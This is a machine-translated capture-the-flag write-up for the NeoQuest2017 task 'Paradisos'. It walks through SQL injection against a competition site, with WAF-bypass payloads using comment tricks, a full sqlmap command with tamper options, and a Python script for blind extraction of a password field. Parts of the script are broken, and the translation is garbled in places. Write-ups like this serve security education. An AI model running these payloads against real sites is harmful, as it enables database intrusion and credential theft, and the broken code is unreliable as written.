[NeoQuest2017] "earthlings" and not only...

A few days ago ended the regular preliminary online stage of the annual competition on cyber security — NeoQuest2017. Special thanks to the organizers: every year the story all the more exciting, and jobs harder!
And this article will be devoted to an analysis of the ninth task: PARADISOS
"IN search of the EARTHLINGS"
when they Reached the ship the victim of the disaster of the expedition, we have not found anyone there – apparently the guys managed to get out. But where now them to search? Theoretically, they could reach the planet Paradisos, the last of not yet visited by us.
This planet is a Paradise: wonderful climate, friendly inhabitants, happily met us with flowers and strange fruits, lively music and a bunch of happy aliens all the friends and strangers we races. Floating in the air small hotels, billboards in different languages (including English earth). We solemnly held in beautiful hotel, promising the full cooperation of the members of the expedition and to share knowledge about our planets. We found out that the guys were really here and he even created his own website, in which each of them made notes on space travel.
The website address is preserved, but we saw the names of only four of the researchers. It turned out that savvy aliens are demanding money for access to the full information. Pay we certainly will not. Let's try to "hack"!
To the job supplied the website address which looks like this:

The first thing we will look where does the text for the biography of each of the "researchers"
the
$("#DanielButton").click(function(){
$.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
$("#ScientistBio").html(result);
$("#Avatar").show();
$("#Avatar").attr("src", "img/lava.png");
}});
});
Go to the link: "./bio/bio.php?name=Daniel" and see the text of the biography. Logical! The first thought that came to me on this page (and I hope that you, %username%, too) — to try SQL Injection in the parameter name.
Try:
the
name=Daniel'+or+1=1+--+1
And we answered:
the
Forbidden
You don't have permission to access /bio/bio.php on this server.
Means the website protected by the WAF. Well, that's interesting: so there is something to defend!
It was found experimentally: "information_scheme", "database()", "SELECT *", "UNION" is banned for use. Go on...
Try:
the
name=Dan'+'i'+'el
And in response comes the text of his biography. So the space works in the form of concatenation. Let's try this:
the
name=Daniel'+or/**_**/1=1+--+1
Bingo! In response, we hatched a biography of all six researchers (and not 4 as on the main page): Roy, Ohad, Naomi, Daniel, Baldric and Sigizmund. Latest biography reads: "Like ctf and space!". However, there is no key. So you need
I have decided to uncover the heavy artillery: sqlmap \_(ツ)_/
After the first N attempts
Properly configuring equipment bypass WAF (needed to use THIS, but I
the
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1% 27%20" --suffix="%20--%201"
PWNED:
the
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1
Vector: OR [INFERENCE]
However, it was early to celebrate: sqlmap persistently used banned the use of "buzzwords" and the maximum that could be done is to use sql-shell:

Achtung! Causes cancer keyboard
#!/usr/bin/python3
import requests
from multiprocessing.dummy import Pool as ThreadPool
import sys
import subprocess
import time
pool = ThreadPool(101)
pos = 1
passwd = "
def getSockCount():
proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc-l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = proc.communicate()[0]
return int(output.decode())
# Send the SQL Request
def connect(sql):
url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
req = requests.get(url % sql.replace(' ', '/** **/'))
if 'Hello! My name is' in req.text:
return True
return False
findColumns def(item):
if item.isdigit():
return
sql = "%s>'0'" % item
if connect(sql):
print('Column: %s' % item)
def getFieldValue(item):
global passwd
sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
if connect(sql):
passwd += item
alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ["', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/']
# Brute Columns
if len(sys.argv) > 0:
tables = open(sys.argv[1]).read().splitlines()
chunk_size = max([len(x) for x in tables])
while True:
pool.map(findColumns, tables)
while getSockCount() > 2:
time.sleep(1)
# blind search characters in the field
else:
while True:
pool.map(getFieldValue, alph)
while getSockCount() > 2:
time.sleep(1)
pos += 1
print(passwd)
Using this script was derived field: "id" and "password". It was decided to start the "Brutus" user "id=6" (aka "Sigizmund"). In the end, it looked something like this:

In the end, the people won! Flag: 14eb6641da38addf613424f5cd05357ce261c305
Комментарии
Отправить комментарий